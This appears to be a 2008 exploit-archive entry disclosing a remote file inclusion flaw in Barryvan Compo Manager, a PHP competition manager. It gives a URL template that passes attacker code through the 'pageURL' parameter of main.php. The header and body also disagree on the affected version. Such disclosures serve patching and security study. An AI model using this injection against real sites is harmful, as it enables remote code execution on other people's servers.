[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Barryvan Compo Manager 0.5pre-1 Remote File Inclusion Vulnerability
# Published : 2008-02-28
# Author : MhZ91
# Previous Title : Podcast Generator <= 1.0 BETA 2 RFI / File Disclosure Vulnerabilities
# Next Title : PHP-Nuke My_eGallery <= 2.7.9 Remote SQL Injection Vulnerability
--==+================================================================================+==--
--==+ barryvancompo-0.3 Remote File Inclusion +==--
--==+================================================================================+==--
Author: MhZ91
Title: barryvancompo-0.3 Remote File Inclusion
Download: http://sourceforge.net/projects/barryvancompo/
Bug: Remote File Inclusion
Info: The barryvan compo manager is a PHP, Smarty and MySQL-based system for running, organising, and maintaining competitions. It is particularly designed for use within the computer music "scene".
Visit: http://www.inj3ct-it.org
[*]----------------------------------------------------------
barryvancompo-0.3 present a variable "pageURL" not definited in this file
main.php
(and all files require it)
we can exploit it by the variable "pageURL", for example
http://www.example.com/main.php?pageURL=[Evil_Code]
[*]----------------------------------------------------------
# www.Syue.com [2008-02-28]